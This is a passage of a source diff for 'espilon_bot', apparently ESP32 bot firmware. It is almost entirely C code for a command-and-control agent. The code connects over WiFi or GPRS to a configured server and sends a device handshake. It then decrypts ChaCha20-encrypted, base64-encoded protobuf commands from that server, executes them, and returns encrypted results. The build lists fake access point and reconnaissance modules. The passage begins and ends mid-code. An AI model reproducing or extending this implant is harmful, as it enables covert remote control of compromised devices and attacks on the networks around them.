|
||||
pb_cmd->argv[i],
|
||||
MAX_ASYNC_ARG_LEN - 1);
|
||||
job.argv_ptrs[i] = job.argv[i];
|
||||
}
|
||||
|
||||
if (pb_cmd->request_id[0]) {
|
||||
strncpy(job.request_id,
|
||||
pb_cmd->request_id,
|
||||
sizeof(job.request_id) - 1);
|
||||
}
|
||||
|
||||
if (xQueueSend(async_queue, &job, 0) != pdTRUE) {
|
||||
ESP_LOGE(TAG, "Async queue full");
|
||||
msg_error("cmd", "Async queue full",
|
||||
pb_cmd->request_id);
|
||||
}
|
||||
}
|
||||
22
espilon_bot/components/core/CMakeLists.txt
Normal file
22
espilon_bot/components/core/CMakeLists.txt
Normal file
@ -0,0 +1,22 @@
|
||||
set(PRIV_REQUIRES_LIST
|
||||
mbedtls
|
||||
lwip
|
||||
mod_network
|
||||
mod_fakeAP
|
||||
mod_recon
|
||||
esp_timer
|
||||
esp_driver_uart
|
||||
driver
|
||||
command
|
||||
)
|
||||
|
||||
idf_component_register(
|
||||
SRCS "crypto.c" "process.c" "WiFi.c" "gprs.c" "messages.c" "com.c"
|
||||
"nanoPB/c2.pb.c"
|
||||
"nanoPB/pb_common.c"
|
||||
"nanoPB/pb_encode.c"
|
||||
"nanoPB/pb_decode.c"
|
||||
INCLUDE_DIRS "." "nanoPB"
|
||||
|
||||
PRIV_REQUIRES ${PRIV_REQUIRES_LIST}
|
||||
)
|
||||
152
espilon_bot/components/core/WiFi.c
Normal file
152
espilon_bot/components/core/WiFi.c
Normal file
@ -0,0 +1,152 @@
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#include "lwip/sockets.h"
|
||||
#include "lwip/netdb.h"
|
||||
|
||||
#include "esp_log.h"
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
#include "esp_wifi.h"
|
||||
#include "esp_event.h"
|
||||
#include "esp_netif.h"
|
||||
|
||||
#include "c2.pb.h"
|
||||
#include "pb_decode.h"
|
||||
|
||||
#include "utils.h"
|
||||
|
||||
int sock = -1;
|
||||
|
||||
#ifdef CONFIG_NETWORK_WIFI
|
||||
static const char *TAG = "CORE_WIFI";
|
||||
|
||||
|
||||
|
||||
#define RX_BUF_SIZE 4096
|
||||
#define RECONNECT_DELAY_MS 5000
|
||||
|
||||
/* =========================================================
|
||||
* WiFi init
|
||||
* ========================================================= */
|
||||
void wifi_init(void)
|
||||
{
|
||||
ESP_ERROR_CHECK(esp_netif_init());
|
||||
ESP_ERROR_CHECK(esp_event_loop_create_default());
|
||||
esp_netif_create_default_wifi_sta();
|
||||
|
||||
wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT();
|
||||
ESP_ERROR_CHECK(esp_wifi_init(&cfg));
|
||||
|
||||
wifi_config_t wifi_config = {
|
||||
.sta = {
|
||||
.ssid = CONFIG_WIFI_SSID,
|
||||
.password = CONFIG_WIFI_PASS,
|
||||
},
|
||||
};
|
||||
|
||||
ESP_ERROR_CHECK(esp_wifi_set_mode(WIFI_MODE_STA));
|
||||
ESP_ERROR_CHECK(esp_wifi_set_config(WIFI_IF_STA, &wifi_config));
|
||||
ESP_ERROR_CHECK(esp_wifi_start());
|
||||
ESP_ERROR_CHECK(esp_wifi_connect());
|
||||
|
||||
ESP_LOGI(TAG, "Connecting to WiFi SSID=%s", CONFIG_WIFI_SSID);
|
||||
}
|
||||
|
||||
/* =========================================================
|
||||
* TCP connect
|
||||
* ========================================================= */
|
||||
static bool tcp_connect(void)
|
||||
{
|
||||
struct sockaddr_in server_addr = {0};
|
||||
|
||||
sock = lwip_socket(AF_INET, SOCK_STREAM, 0);
|
||||
if (sock < 0) {
|
||||
ESP_LOGE(TAG, "socket() failed");
|
||||
return false;
|
||||
}
|
||||
|
||||
server_addr.sin_family = AF_INET;
|
||||
server_addr.sin_port = htons(CONFIG_SERVER_PORT);
|
||||
server_addr.sin_addr.s_addr = inet_addr(CONFIG_SERVER_IP);
|
||||
|
||||
if (lwip_connect(sock,
|
||||
(struct sockaddr *)&server_addr,
|
||||
sizeof(server_addr)) != 0) {
|
||||
ESP_LOGE(TAG, "connect() failed");
|
||||
lwip_close(sock);
|
||||
sock = -1;
|
||||
return false;
|
||||
}
|
||||
|
||||
ESP_LOGI(TAG, "Connected to %s:%d",
|
||||
CONFIG_SERVER_IP,
|
||||
CONFIG_SERVER_PORT);
|
||||
return true;
|
||||
}
|
||||
|
||||
|
||||
/* =========================================================
|
||||
* Handle incoming frame
|
||||
* ========================================================= */
|
||||
static void handle_frame(const uint8_t *buf, size_t len)
|
||||
{
|
||||
char tmp[len + 1];
|
||||
memcpy(tmp, buf, len);
|
||||
tmp[len] = '\0';
|
||||
c2_decode_and_exec(tmp);
|
||||
}
|
||||
|
||||
|
||||
/* =========================================================
|
||||
* TCP RX loop
|
||||
* ========================================================= */
|
||||
static void tcp_rx_loop(void)
|
||||
{
|
||||
static uint8_t rx_buf[RX_BUF_SIZE];
|
||||
|
||||
int len = lwip_recv(sock, rx_buf, sizeof(rx_buf) - 1, 0);
|
||||
if (len <= 0) {
|
||||
ESP_LOGW(TAG, "RX failed / disconnected");
|
||||
lwip_close(sock);
|
||||
sock = -1;
|
||||
return;
|
||||
}
|
||||
|
||||
/* IMPORTANT: string termination for strtok */
|
||||
rx_buf[len] = '\0';
|
||||
|
||||
char *line = strtok((char *)rx_buf, "\n");
|
||||
while (line) {
|
||||
handle_frame((uint8_t *)line, strlen(line));
|
||||
line = strtok(NULL, "\n");
|
||||
}
|
||||
}
|
||||
|
||||
/* =========================================================
|
||||
* Main TCP client task
|
||||
* ========================================================= */
|
||||
void tcp_client_task(void *pvParameters)
|
||||
{
|
||||
while (1) {
|
||||
|
||||
if (!tcp_connect()) {
|
||||
vTaskDelay(pdMS_TO_TICKS(RECONNECT_DELAY_MS));
|
||||
continue;
|
||||
}
|
||||
msg_info(TAG, CONFIG_DEVICE_ID, NULL);
|
||||
ESP_LOGI(TAG, "Handshake done");
|
||||
|
||||
while (sock >= 0) {
|
||||
tcp_rx_loop();
|
||||
vTaskDelay(1);
|
||||
}
|
||||
|
||||
ESP_LOGW(TAG, "Disconnected, retrying...");
|
||||
vTaskDelay(pdMS_TO_TICKS(RECONNECT_DELAY_MS));
|
||||
}
|
||||
}
|
||||
|
||||
#endif /* CONFIG_NETWORK_WIFI */
|
||||
51
espilon_bot/components/core/com.c
Normal file
51
espilon_bot/components/core/com.c
Normal file
@ -0,0 +1,51 @@
|
||||
#include "utils.h"
|
||||
#include "esp_log.h"
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
|
||||
static const char *TAG = "COM";
|
||||
|
||||
bool com_init(void)
|
||||
{
|
||||
#ifdef CONFIG_NETWORK_WIFI
|
||||
|
||||
ESP_LOGI(TAG, "Init WiFi backend");
|
||||
|
||||
wifi_init();
|
||||
|
||||
/* Task WiFi déjà complète (connect + handshake + RX) */
|
||||
xTaskCreatePinnedToCore(
|
||||
tcp_client_task,
|
||||
"tcp_client_task",
|
||||
8192,
|
||||
NULL,
|
||||
1,
|
||||
NULL,
|
||||
0
|
||||
);
|
||||
|
||||
return true;
|
||||
|
||||
#elif defined(CONFIG_NETWORK_GPRS)
|
||||
|
||||
ESP_LOGI(TAG, "Init GPRS backend");
|
||||
|
||||
setup_uart();
|
||||
setup_modem();
|
||||
|
||||
xTaskCreatePinnedToCore(
|
||||
gprs_client_task,
|
||||
"gprs_client_task",
|
||||
8192,
|
||||
NULL,
|
||||
1,
|
||||
NULL,
|
||||
0
|
||||
);
|
||||
|
||||
return true;
|
||||
|
||||
#else
|
||||
#error "No network backend selected"
|
||||
#endif
|
||||
}
|
||||
206
espilon_bot/components/core/crypto.c
Normal file
206
espilon_bot/components/core/crypto.c
Normal file
@ -0,0 +1,206 @@
|
||||
// crypto.c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
#include "esp_log.h"
|
||||
|
||||
#include "mbedtls/chacha20.h"
|
||||
#include "mbedtls/base64.h"
|
||||
|
||||
#include "pb_decode.h"
|
||||
#include "c2.pb.h"
|
||||
|
||||
#include "utils.h"
|
||||
#include "command.h"
|
||||
|
||||
static const char *TAG = "CRYPTO";
|
||||
|
||||
/* ============================================================
|
||||
* Compile-time security checks
|
||||
* ============================================================ */
|
||||
_Static_assert(sizeof(CONFIG_CRYPTO_KEY) - 1 == 32,
|
||||
"CONFIG_CRYPTO_KEY must be exactly 32 bytes");
|
||||
_Static_assert(sizeof(CONFIG_CRYPTO_NONCE) - 1 == 12,
|
||||
"CONFIG_CRYPTO_NONCE must be exactly 12 bytes");
|
||||
|
||||
/* ============================================================
|
||||
* ChaCha20 encrypt/decrypt (same function)
|
||||
* ============================================================ */
|
||||
unsigned char *chacha_cd(const unsigned char *data, size_t data_len)
|
||||
{
|
||||
if (!data || data_len == 0) {
|
||||
ESP_LOGE(TAG, "Invalid input to chacha_cd");
|
||||
return NULL;
|
||||
}
|
||||
|
||||
unsigned char *out = (unsigned char *)malloc(data_len);
|
||||
if (!out) {
|
||||
ESP_LOGE(TAG, "malloc failed in chacha_cd");
|
||||
return NULL;
|
||||
}
|
||||
|
||||
unsigned char key[32];
|
||||
unsigned char nonce[12];
|
||||
uint32_t counter = 0;
|
||||
|
||||
memcpy(key, CONFIG_CRYPTO_KEY, sizeof(key));
|
||||
memcpy(nonce, CONFIG_CRYPTO_NONCE, sizeof(nonce));
|
||||
|
||||
int ret = mbedtls_chacha20_crypt(
|
||||
key,
|
||||
nonce,
|
||||
counter,
|
||||
data_len,
|
||||
data,
|
||||
out
|
||||
);
|
||||
|
||||
if (ret != 0) {
|
||||
ESP_LOGE(TAG, "ChaCha20 failed (%d)", ret);
|
||||
free(out);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
return out; /* binary-safe */
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Base64 encode
|
||||
* ============================================================ */
|
||||
char *base64_encode(const unsigned char *input, size_t input_len)
|
||||
{
|
||||
if (!input || input_len == 0) {
|
||||
ESP_LOGE(TAG, "Invalid input to base64_encode");
|
||||
return NULL;
|
||||
}
|
||||
|
||||
size_t out_len = 4 * ((input_len + 2) / 3);
|
||||
char *out = (char *)malloc(out_len + 1);
|
||||
if (!out) {
|
||||
ESP_LOGE(TAG, "malloc failed in base64_encode");
|
||||
return NULL;
|
||||
}
|
||||
|
||||
size_t written = 0;
|
||||
int ret = mbedtls_base64_encode(
|
||||
(unsigned char *)out,
|
||||
out_len + 1,
|
||||
&written,
|
||||
input,
|
||||
input_len
|
||||
);
|
||||
|
||||
if (ret != 0) {
|
||||
ESP_LOGE(TAG, "base64 encode failed (%d)", ret);
|
||||
free(out);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
out[written] = '\0';
|
||||
return out;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Base64 decode
|
||||
* ============================================================ */
|
||||
char *base64_decode(const char *input, size_t *output_len)
|
||||
{
|
||||
if (!input || !output_len) {
|
||||
ESP_LOGE(TAG, "Invalid input to base64_decode");
|
||||
return NULL;
|
||||
}
|
||||
|
||||
size_t in_len = strlen(input);
|
||||
size_t est_len = (in_len * 3) / 4;
|
||||
|
||||
unsigned char *out = (unsigned char *)malloc(est_len + 1);
|
||||
if (!out) {
|
||||
ESP_LOGE(TAG, "malloc failed in base64_decode");
|
||||
return NULL;
|
||||
}
|
||||
|
||||
int ret = mbedtls_base64_decode(
|
||||
out,
|
||||
est_len + 1,
|
||||
output_len,
|
||||
(const unsigned char *)input,
|
||||
in_len
|
||||
);
|
||||
|
||||
if (ret != 0) {
|
||||
ESP_LOGE(TAG, "base64 decode failed (%d)", ret);
|
||||
free(out);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/* Optional null terminator for debug */
|
||||
out[*output_len] = '\0';
|
||||
return (char *)out;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* C2: Decode + decrypt + protobuf + exec (COMMON WIFI/GPRS)
|
||||
* ============================================================ */
|
||||
bool c2_decode_and_exec(const char *frame)
|
||||
{
|
||||
if (!frame || !frame[0]) {
|
||||
ESP_LOGW(TAG, "Empty C2 frame");
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Trim CR/LF/spaces at end (SIM800 sometimes adds \r) */
|
||||
char tmp[1024];
|
||||
size_t n = strnlen(frame, sizeof(tmp) - 1);
|
||||
memcpy(tmp, frame, n);
|
||||
tmp[n] = '\0';
|
||||
while (n > 0 && (tmp[n - 1] == '\r' || tmp[n - 1] == '\n' || tmp[n - 1] == ' ')) {
|
||||
tmp[n - 1] = '\0';
|
||||
n--;
|
||||
}
|
||||
|
||||
ESP_LOGI(TAG, "C2 RX b64: %s", tmp);
|
||||
|
||||
/* 1) Base64 decode */
|
||||
size_t decoded_len = 0;
|
||||
char *decoded = base64_decode(tmp, &decoded_len);
|
||||
if (!decoded || decoded_len == 0) {
|
||||
ESP_LOGE(TAG, "Base64 decode failed");
|
||||
free(decoded);
|
||||
return false;
|
||||
}
|
||||
|
||||
/* 2) ChaCha decrypt */
|
||||
unsigned char *plain = chacha_cd((const unsigned char *)decoded, decoded_len);
|
||||
free(decoded);
|
||||
|
||||
if (!plain) {
|
||||
ESP_LOGE(TAG, "ChaCha decrypt failed");
|
||||
return false;
|
||||
}
|
||||
|
||||
/* 3) Protobuf decode -> c2_Command */
|
||||
c2_Command cmd = c2_Command_init_zero;
|
||||
pb_istream_t is = pb_istream_from_buffer(plain, decoded_len);
|
||||
|
||||
if (!pb_decode(&is, c2_Command_fields, &cmd)) {
|
||||
ESP_LOGE(TAG, "PB decode error: %s", PB_GET_ERROR(&is));
|
||||
free(plain);
|
||||
return false;
|
||||
}
|
||||
|
||||
free(plain);
|
||||
|
||||
/* 4) Log + dispatch */
|
||||
ESP_LOGI(TAG, "==== C2 COMMAND ====");
|
||||
ESP_LOGI(TAG, "name: %s", cmd.command_name);
|
||||
ESP_LOGI(TAG, "argc: %d", cmd.argv_count);
|
||||
if (cmd.request_id[0]) ESP_LOGI(TAG, "req : %s", cmd.request_id);
|
||||
for (int i = 0; i < cmd.argv_count; i++) {
|
||||
ESP_LOGI(TAG, "arg[%d]=%s", i, cmd.argv[i]);
|
||||
}
|
||||
ESP_LOGI(TAG, "====================");
|
||||
|
||||
process_command(&cmd);
|
||||
return true;
|
||||
}
|
||||
326
espilon_bot/components/core/gprs.c
Normal file
326
espilon_bot/components/core/gprs.c
Normal file
@ -0,0 +1,326 @@
|
||||
#include <stdbool.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
#include <ctype.h>
|
||||
|
||||
#include "driver/uart.h"
|
||||
#include "driver/gpio.h"
|
||||
#include "esp_log.h"
|
||||
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
|
||||
#include "utils.h" /* CONFIG_*, base64, crypto */
|
||||
#include "command.h" /* process_command */
|
||||
#include "crypto.h" /* c2_decode_and_exec */
|
||||
|
||||
#ifdef CONFIG_NETWORK_GPRS
|
||||
|
||||
static const char *TAG = "GPRS";
|
||||
|
||||
/* ============================================================
|
||||
* AT HELPERS
|
||||
* ============================================================ */
|
||||
|
||||
static bool at_read(char *buf, size_t size, uint32_t timeout_ms)
|
||||
{
|
||||
int len = uart_read_bytes(
|
||||
UART_NUM,
|
||||
(uint8_t *)buf,
|
||||
size - 1,
|
||||
pdMS_TO_TICKS(timeout_ms)
|
||||
);
|
||||
|
||||
if (len <= 0)
|
||||
return false;
|
||||
|
||||
buf[len] = '\0';
|
||||
ESP_LOGI(TAG, "AT <- %s", buf);
|
||||
return true;
|
||||
}
|
||||
|
||||
static bool at_wait_ok(char *buf, size_t size, uint32_t timeout_ms)
|
||||
{
|
||||
return at_read(buf, size, timeout_ms) &&
|
||||
strstr(buf, "OK");
|
||||
}
|
||||
|
||||
void send_at_command(const char *cmd)
|
||||
{
|
||||
ESP_LOGI(TAG, "AT -> %s", cmd);
|
||||
uart_write_bytes(UART_NUM, cmd, strlen(cmd));
|
||||
uart_write_bytes(UART_NUM, "\r\n", 2);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* UART / MODEM
|
||||
* ============================================================ */
|
||||
|
||||
void setup_uart(void)
|
||||
{
|
||||
uart_config_t cfg = {
|
||||
.baud_rate = 9600,
|
||||
.data_bits = UART_DATA_8_BITS,
|
||||
.parity = UART_PARITY_DISABLE,
|
||||
.stop_bits = UART_STOP_BITS_1,
|
||||
.flow_ctrl = UART_HW_FLOWCTRL_DISABLE,
|
||||
};
|
||||
|
||||
uart_param_config(UART_NUM, &cfg);
|
||||
uart_set_pin(
|
||||
UART_NUM,
|
||||
TXD_PIN,
|
||||
RXD_PIN,
|
||||
UART_PIN_NO_CHANGE,
|
||||
UART_PIN_NO_CHANGE
|
||||
);
|
||||
|
||||
uart_driver_install(UART_NUM, BUFF_SIZE * 2, 0, 0, NULL, 0);
|
||||
}
|
||||
|
||||
void setup_modem(void)
|
||||
{
|
||||
gpio_set_direction(PWR_EN, GPIO_MODE_OUTPUT);
|
||||
gpio_set_direction(PWR_KEY, GPIO_MODE_OUTPUT);
|
||||
gpio_set_direction(RESET, GPIO_MODE_OUTPUT);
|
||||
|
||||
gpio_set_level(PWR_EN, 1);
|
||||
vTaskDelay(pdMS_TO_TICKS(100));
|
||||
|
||||
gpio_set_level(PWR_KEY, 1);
|
||||
vTaskDelay(pdMS_TO_TICKS(100));
|
||||
gpio_set_level(PWR_KEY, 0);
|
||||
vTaskDelay(pdMS_TO_TICKS(1200));
|
||||
gpio_set_level(PWR_KEY, 1);
|
||||
|
||||
vTaskDelay(pdMS_TO_TICKS(3000));
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* GSM / GPRS
|
||||
* ============================================================ */
|
||||
|
||||
static bool wait_for_gsm(void)
|
||||
{
|
||||
char buf[BUFF_SIZE];
|
||||
|
||||
ESP_LOGI(TAG, "Waiting GSM network");
|
||||
|
||||
for (int i = 0; i < 30; i++) {
|
||||
send_at_command("AT+CREG?");
|
||||
if (at_read(buf, sizeof(buf), 2000)) {
|
||||
if (strstr(buf, "+CREG: 0,1") ||
|
||||
strstr(buf, "+CREG: 0,5")) {
|
||||
ESP_LOGI(TAG, "GSM registered");
|
||||
return true;
|
||||
}
|
||||
}
|
||||
vTaskDelay(pdMS_TO_TICKS(2000));
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
bool connect_gprs(void)
|
||||
{
|
||||
char buf[BUFF_SIZE];
|
||||
|
||||
if (!wait_for_gsm()) {
|
||||
ESP_LOGE(TAG, "No GSM network");
|
||||
return false;
|
||||
}
|
||||
|
||||
send_at_command("AT+CGATT=1");
|
||||
if (!at_wait_ok(buf, sizeof(buf), 5000))
|
||||
return false;
|
||||
|
||||
char cmd[96];
|
||||
snprintf(cmd, sizeof(cmd),
|
||||
"AT+CSTT=\"%s\",\"\",\"\"",
|
||||
CONFIG_GPRS_APN);
|
||||
send_at_command(cmd);
|
||||
if (!at_wait_ok(buf, sizeof(buf), 3000))
|
||||
return false;
|
||||
|
||||
send_at_command("AT+CIICR");
|
||||
if (!at_wait_ok(buf, sizeof(buf), 8000))
|
||||
return false;
|
||||
|
||||
send_at_command("AT+CIFSR");
|
||||
if (!at_read(buf, sizeof(buf), 5000))
|
||||
return false;
|
||||
|
||||
ESP_LOGI(TAG, "IP obtained: %s", buf);
|
||||
return true;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* TCP
|
||||
* ============================================================ */
|
||||
|
||||
bool connect_tcp(void)
|
||||
{
|
||||
char buf[BUFF_SIZE];
|
||||
char cmd[128];
|
||||
|
||||
ESP_LOGI(TAG, "TCP connect %s:%d",
|
||||
CONFIG_SERVER_IP,
|
||||
CONFIG_SERVER_PORT);
|
||||
|
||||
send_at_command("AT+CIPMUX=0");
|
||||
at_wait_ok(buf, sizeof(buf), 2000);
|
||||
|
||||
snprintf(cmd, sizeof(cmd),
|
||||
"AT+CIPSTART=\"TCP\",\"%s\",\"%d\"",
|
||||
CONFIG_SERVER_IP,
|
||||
CONFIG_SERVER_PORT);
|
||||
send_at_command(cmd);
|
||||
|
||||
if (!at_read(buf, sizeof(buf), 15000))
|
||||
return false;
|
||||
|
||||
if (strstr(buf, "CONNECT OK")) {
|
||||
ESP_LOGI(TAG, "TCP connected");
|
||||
return true;
|
||||
}
|
||||
|
||||
ESP_LOGE(TAG, "TCP connection failed");
|
||||
return false;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* RX HELPERS
|
||||
* ============================================================ */
|
||||
|
||||
static bool is_base64_frame(const char *s)
|
||||
{
|
||||
size_t len = strlen(s);
|
||||
if (len < 20)
|
||||
return false;
|
||||
|
||||
for (size_t i = 0; i < len; i++) {
|
||||
char c = s[i];
|
||||
if (!(isalnum((unsigned char)c) ||
|
||||
c == '+' || c == '/' || c == '=')) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* RX — PUSH MODE (ROBUST)
|
||||
* ============================================================ */
|
||||
|
||||
void gprs_rx_poll(void)
|
||||
{
|
||||
static char rx_buf[BUFF_SIZE];
|
||||
static size_t rx_len = 0;
|
||||
|
||||
int r = uart_read_bytes(
|
||||
UART_NUM,
|
||||
(uint8_t *)(rx_buf + rx_len),
|
||||
sizeof(rx_buf) - rx_len - 1,
|
||||
pdMS_TO_TICKS(200)
|
||||
);
|
||||
|
||||
if (r <= 0)
|
||||
return;
|
||||
|
||||
rx_len += r;
|
||||
rx_buf[rx_len] = '\0';
|
||||
|
||||
ESP_LOGW(TAG, "RAW UART RX (%d bytes buffered)", rx_len);
|
||||
ESP_LOGW(TAG, "----------------------------");
|
||||
ESP_LOGW(TAG, "%s", rx_buf);
|
||||
ESP_LOGW(TAG, "----------------------------");
|
||||
|
||||
/* nettoyer CR/LF */
|
||||
for (size_t i = 0; i < rx_len; i++) {
|
||||
if (rx_buf[i] == '\r' || rx_buf[i] == '\n')
|
||||
rx_buf[i] = '\0';
|
||||
}
|
||||
|
||||
/* frame C2 reçue */
|
||||
if (is_base64_frame(rx_buf)) {
|
||||
ESP_LOGI(TAG, "C2 RAW FRAME: [%s]", rx_buf);
|
||||
c2_decode_and_exec(rx_buf);
|
||||
|
||||
rx_len = 0;
|
||||
rx_buf[0] = '\0';
|
||||
}
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* SEND — ATOMIC FRAME
|
||||
* ============================================================ */
|
||||
|
||||
bool gprs_send(const void *buf, size_t len)
|
||||
{
|
||||
char resp[BUFF_SIZE];
|
||||
char cmd[32];
|
||||
|
||||
snprintf(cmd, sizeof(cmd),
|
||||
"AT+CIPSEND=%d", (int)(len + 1));
|
||||
send_at_command(cmd);
|
||||
|
||||
if (!at_read(resp, sizeof(resp), 3000) ||
|
||||
!strchr(resp, '>')) {
|
||||
ESP_LOGE(TAG, "CIPSEND prompt failed");
|
||||
return false;
|
||||
}
|
||||
|
||||
uart_write_bytes(UART_NUM, buf, len);
|
||||
uart_write_bytes(UART_NUM, "\n", 1);
|
||||
uart_write_bytes(UART_NUM, "\x1A", 1);
|
||||
|
||||
if (!at_read(resp, sizeof(resp), 10000) ||
|
||||
!strstr(resp, "SEND OK")) {
|
||||
ESP_LOGE(TAG, "SEND failed");
|
||||
return false;
|
||||
}
|
||||
|
||||
ESP_LOGI(TAG, "TCP frame sent (%d bytes)", (int)(len + 1));
|
||||
return true;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* CLIENT TASK
|
||||
* ============================================================ */
|
||||
|
||||
void gprs_client_task(void *pvParameters)
|
||||
{
|
||||
ESP_LOGI(TAG, "GPRS client task started");
|
||||
|
||||
while (1) {
|
||||
|
||||
if (!connect_gprs() || !connect_tcp()) {
|
||||
ESP_LOGE(TAG, "Connection failed, retrying...");
|
||||
vTaskDelay(pdMS_TO_TICKS(5000));
|
||||
continue;
|
||||
}
|
||||
|
||||
/* Handshake identique WiFi */
|
||||
msg_info(TAG, CONFIG_DEVICE_ID, NULL);
|
||||
ESP_LOGI(TAG, "Handshake sent");
|
||||
|
||||
while (1) {
|
||||
gprs_rx_poll();
|
||||
vTaskDelay(pdMS_TO_TICKS(10));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* CLOSE
|
||||
* ============================================================ */
|
||||
|
||||
void close_tcp_connection(void)
|
||||
{
|
||||
send_at_command("AT+CIPCLOSE");
|
||||
vTaskDelay(pdMS_TO_TICKS(500));
|
||||
send_at_command("AT+CIPSHUT");
|
||||
}
|
||||
|
||||
#endif /* CONFIG_NETWORK_GPRS */
|
||||
185
espilon_bot/components/core/messages.c
Normal file
185
espilon_bot/components/core/messages.c
Normal file
@ -0,0 +1,185 @@
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <time.h>
|
||||
|
||||
#include "esp_log.h"
|
||||
#include "lwip/sockets.h"
|
||||
|
||||
#include "pb_encode.h"
|
||||
#include "c2.pb.h"
|
||||
|
||||
#include "utils.h" /* base64_encode, chacha_cd, CONFIG_DEVICE_ID */
|
||||
|
||||
#define TAG "AGENT_MSG"
|
||||
#define MAX_PROTOBUF_SIZE 512
|
||||
|
||||
extern int sock;
|
||||
|
||||
/* ============================================================
|
||||
* TCP helpers
|
||||
* ============================================================ */
|
||||
|
||||
static bool tcp_send_all(const void *buf, size_t len)
|
||||
{
|
||||
#ifdef CONFIG_NETWORK_WIFI
|
||||
|
||||
extern int sock;
|
||||
|
||||
const uint8_t *p = (const uint8_t *)buf;
|
||||
while (len > 0) {
|
||||
int sent = lwip_write(sock, p, len);
|
||||
if (sent <= 0) {
|
||||
ESP_LOGE(TAG, "lwip_write failed");
|
||||
return false;
|
||||
}
|
||||
p += sent;
|
||||
len -= sent;
|
||||
}
|
||||
return true;
|
||||
|
||||
#elif defined(CONFIG_NETWORK_GPRS)
|
||||
|
||||
return gprs_send(buf, len);
|
||||
|
||||
#else
|
||||
#error "No network backend selected"
|
||||
#endif
|
||||
}
|
||||
|
||||
static bool send_base64_frame(const uint8_t *data, size_t len)
|
||||
{
|
||||
char *b64 = base64_encode(data, len);
|
||||
if (!b64) {
|
||||
ESP_LOGE(TAG, "base64_encode failed");
|
||||
return false;
|
||||
}
|
||||
|
||||
bool ok = tcp_send_all(b64, strlen(b64)) &&
|
||||
tcp_send_all("\n", 1);
|
||||
|
||||
free(b64);
|
||||
return ok;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Encode → encrypt → base64 → send
|
||||
* ============================================================ */
|
||||
|
||||
static bool encode_encrypt_send(c2_AgentMessage *msg)
|
||||
{
|
||||
uint8_t buffer[MAX_PROTOBUF_SIZE];
|
||||
|
||||
pb_ostream_t stream =
|
||||
pb_ostream_from_buffer(buffer, sizeof(buffer));
|
||||
|
||||
if (!pb_encode(&stream, c2_AgentMessage_fields, msg)) {
|
||||
ESP_LOGE(TAG, "pb_encode failed: %s",
|
||||
PB_GET_ERROR(&stream));
|
||||
return false;
|
||||
}
|
||||
|
||||
size_t proto_len = stream.bytes_written;
|
||||
|
||||
uint8_t *cipher =
|
||||
(uint8_t *)chacha_cd(buffer, proto_len);
|
||||
if (!cipher) {
|
||||
ESP_LOGE(TAG, "chacha_cd failed");
|
||||
return false;
|
||||
}
|
||||
|
||||
bool ok = send_base64_frame(cipher, proto_len);
|
||||
free(cipher);
|
||||
return ok;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Core send API
|
||||
* ============================================================ */
|
||||
|
||||
bool agent_send(c2_AgentMsgType type,
|
||||
const char *source,
|
||||
const char *request_id,
|
||||
const void *data,
|
||||
size_t len,
|
||||
bool eof)
|
||||
{
|
||||
c2_AgentMessage msg = c2_AgentMessage_init_zero;
|
||||
|
||||
/* mandatory */
|
||||
strncpy(msg.device_id, CONFIG_DEVICE_ID,
|
||||
sizeof(msg.device_id) - 1);
|
||||
msg.type = type;
|
||||
msg.eof = eof;
|
||||
|
||||
/* optional */
|
||||
if (source) {
|
||||
strncpy(msg.source, source,
|
||||
sizeof(msg.source) - 1);
|
||||
}
|
||||
|
||||
if (request_id) {
|
||||
strncpy(msg.request_id, request_id,
|
||||
sizeof(msg.request_id) - 1);
|
||||
}
|
||||
|
||||
if (data && len > 0) {
|
||||
if (len > sizeof(msg.payload.bytes))
|
||||
len = sizeof(msg.payload.bytes);
|
||||
|
||||
msg.payload.size = len;
|
||||
memcpy(msg.payload.bytes, data, len);
|
||||
}
|
||||
|
||||
return encode_encrypt_send(&msg);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* High-level helpers (USED EVERYWHERE)
|
||||
* ============================================================ */
|
||||
|
||||
bool msg_info(const char *src,
|
||||
const char *msg,
|
||||
const char *req)
|
||||
{
|
||||
return agent_send(
|
||||
c2_AgentMsgType_AGENT_INFO,
|
||||
src,
|
||||
req,
|
||||
msg,
|
||||
msg ? strlen(msg) : 0,
|
||||
true
|
||||
);
|
||||
}
|
||||
|
||||
bool msg_error(const char *src,
|
||||
const char *msg,
|
||||
const char *req)
|
||||
{
|
||||
return agent_send(
|
||||
c2_AgentMsgType_AGENT_ERROR,
|
||||
src,
|
||||
req,
|
||||
msg,
|
||||
msg ? strlen(msg) : 0,
|
||||
true
|
||||
);
|
||||
}
|
||||
|
||||
bool msg_data(const char *src,
|
||||
const void *data,
|
||||
size_t len,
|
||||
bool eof,
|
||||
const char *req)
|
||||
{
|
||||
if (!data || len == 0)
|
||||
return false;
|
||||
|
||||
return agent_send(
|
||||
